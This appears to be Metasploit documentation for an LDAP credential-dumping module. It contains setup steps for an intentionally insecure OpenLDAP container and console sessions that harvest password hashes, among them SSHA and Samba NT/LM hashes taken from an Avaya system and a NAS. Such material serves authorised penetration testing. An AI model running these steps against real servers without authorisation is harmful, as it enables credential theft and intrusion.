## Vulnerable Application

### Description

This module uses an LDAP connection to dump data from LDAP server
using an anonymous or authenticated bind.
Searching for specific attributes it collects user credentials.

### Setup

Tested in the wild.

You may eventually setup an intentionally insecure OpenLDAP server in docker.
The below OpenLDAP server does not have any ACL, therefore the hashPassword
attributes are readable by anonymous clients.

```
$ git clone https://github.com/HynekPetrak/bitnami-docker-openldap.git
$ cd bitnami-docker-openldap
$ docker-compose up -d
Creating bitnami-docker-openldap_openldap_1 ... done

msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf5 auxiliary(gather/ldap_hashdump) > set RPORT 1389
RPORT => 1389
msf5 auxiliary(gather/ldap_hashdump) > options

Module options (auxiliary/gather/ldap_hashdump):

   Name          Current Setting                                        Required  Description
   ----          ---------------                                        --------  -----------
   BASE_DN                                                              no        LDAP base DN if you already have it]
   DOMAIN                                                               no        The domain to authenticate to
   MAX_LOOT                                                             no        Maximum number of LDAP entries to loot
   PASSWORD                                                             no        The password to authenticate with
   PASS_ATTR     userPassword, sambantpassword, sambalmpassword, mailu  yes       LDAP attribute, that contains password hashes
                 serpassword, password, pwdhistory, passwordhistory, c
                 learpassword
   READ_TIMEOUT  600                                                    no        LDAP read timeout in seconds
   RHOSTS        127.0.0.1                                              yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.h
                                                                                  tml
   RPORT         1389                                                   yes       The target port
   SSL           true                                                   no        Enable SSL on the LDAP connection
   THREADS       1                                                      yes       The number of concurrent threads (max one per host)
   USERNAME                                                             no        The username to authenticate with
   USER_ATTR     dn                                                     no        LDAP attribute(s), that contains username

                                                                                                                                                                                           Auxiliary action:
   Name  Description
   ----  -----------
   Dump  Dump all LDAP data


msf5 auxiliary(gather/ldap_hashdump) >

msf5 auxiliary(gather/ldap_hashdump) > run
[*] Running module against 127.0.0.1

[*] Discovering base DN automatically
[*] Searching root DSE for base DN
[+] Discovered base DN: dc=example,dc=org
[*] Dumping LDAP data from server at 127.0.0.1:1389
[*] Storing LDAP data in loot
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200801220435_default_127.0.0.1_LDAPInformation_704646.txt
[*] Searching for attribute: userPassword
[*] Taking dn attribute as username
[+] Credentials found: cn=user01,ou=users,dc=example,dc=org:password1
[+] Credentials found: cn=user02,ou=users,dc=example,dc=org:password2
[*] Auxiliary module execution completed
msf5 auxiliary(gather/ldap_hashdump) >

```

## Verification Steps

Follow [Setup](#setup) and [Scenarios](#scenarios).

## Actions

### Dump

Dump all LDAP data from the LDAP server.

## Options

### BASE_DN

If you already have the LDAP base DN, you may set it in this option.

### USER_ATTR

LDAP attribute to take the user name from. Defaults to DN, however you may
wish to change it UID, name or similar.

### PASS_ATTR

LDAP attribute to take the password hash from. Defaults to userPassword,
some LDAP server may use different attribute, e.g. unixUserPassword,
sambantpassword, sambalmpassword.

## Scenarios

### Avaya Communication Manager via anonymous bind

```
msf5 > use auxiliary/gather/ldap_hashdump
msf5 auxiliary(gather/ldap_hashdump) > options

Module options (auxiliary/gather/ldap_hashdump):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   BASE_DN                     no        LDAP base DN if you already have it
   PASS_ATTR  userPassword     yes       LDAP attribute, that contains password hashes
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      389              yes       The target port
   SSL        false            no        Enable SSL on the LDAP connection
   USER_ATTR  dn               no        LDAP attribute, that contains username


Auxiliary action:

   Name  Description
   ----  -----------
   Dump  Dump all LDAP data


msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS [redacted_ip_address]
RHOSTS => [redacted_ip_address]

msf5 auxiliary(gather/ldap_hashdump) > run
[*] Running module against [redacted_ip_address]

[*] Discovering base DN automatically
[*] Searching root DSE for base DN
[+] Discovered base DN: dc=vsp
[*] Dumping LDAP data from server at [redacted_ip_address]:389
[*] Storing LDAP data in loot
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726121633_default_[redacted_ip_address]_LDAPInformation_716210.txt
[*] Searching for attribute: userPassword
[*] Taking dn attribute as username
[+] Credentials found: uid=cust,ou=People,dc=vsp:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
[+] Credentials found: uid=admin,ou=People,dc=vsp:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
[*] Auxiliary module execution completed
msf5 auxiliary(gather/ldap_hashdump) > set USER_ATTR uid
USER_ATTR => uid
msf5 auxiliary(gather/ldap_hashdump) > run
[*] Running module against [redacted_ip_address]

[*] Discovering base DN automatically
[*] Searching root DSE for base DN
[+] Discovered base DN: dc=vsp
[*] Dumping LDAP data from server at [redacted_ip_address]:389
[*] Storing LDAP data in loot
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726121718_default_[redacted_ip_address]_LDAPInformation_712562.txt
[*] Searching for attribute: userPassword
[*] Taking uid attribute as username
[+] Credentials found: cust:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
[+] Credentials found: admin:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
[*] Auxiliary module execution completed
msf5 auxiliary(gather/ldap_hashdump) >
```

### NASDeluxe - NAS with Samba LM/NTLM hashes

```
msf5 auxiliary(gather/ldap_hashdump) > set USER_ATTR uid
USER_ATTR => uid
msf5 auxiliary(gather/ldap_hashdump) > set PASS_ATTR sambantpassword
PASS_ATTR => sambantpassword
msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS [redacted_ip_address]
RHOSTS => [redacted_ip_address]

msf5 auxiliary(gather/ldap_hashdump) > run
[*] Running module against [redacted_ip_address]

[*] Discovering base DN automatically
[*] Searching root DSE for base DN
[+] Discovered base DN: dc=server,dc=nas
[*] Dumping LDAP data from server at [redacted_ip_address]:389
[*] Storing LDAP data in loot
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726201006_default_[redacted_ip_address]_LDAPInformation_026574.txt
[*] Searching for attribute: sambantpassword
[*] Taking uid attribute as username
[+] Credentials found: admin:209C6174DA490CAEB422F3FA5A7AE634
[+] Credentials found: joe:58E8C758A4E67F34EF9C40944EB5535B
[*] Auxiliary module execution completed

msf5 auxiliary(gather/ldap_hashdump) > run
[*] Running module against [redacted_ip_address]

[*] Discovering base DN automatically
[*] Searching root DSE for base DN
[+] Discovered base DN: dc=server,dc=nas
[*] Dumping LDAP data from server at [redacted_ip_address]:389
[*] Storing LDAP data in loot
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726201731_default_[redacted_ip_address]_LDAPInformation_427417.txt
[*] Searching for attribute: sambalmpassword
[*] Taking uid attribute as username
[+] Credentials found: admin:F0D412BD764FFE81AAD3B435B51404EE
[+] Credentials found: joe:3417BE166A79DDE2AAD3B435B51404EE
[*] Auxiliary module execution completed
```
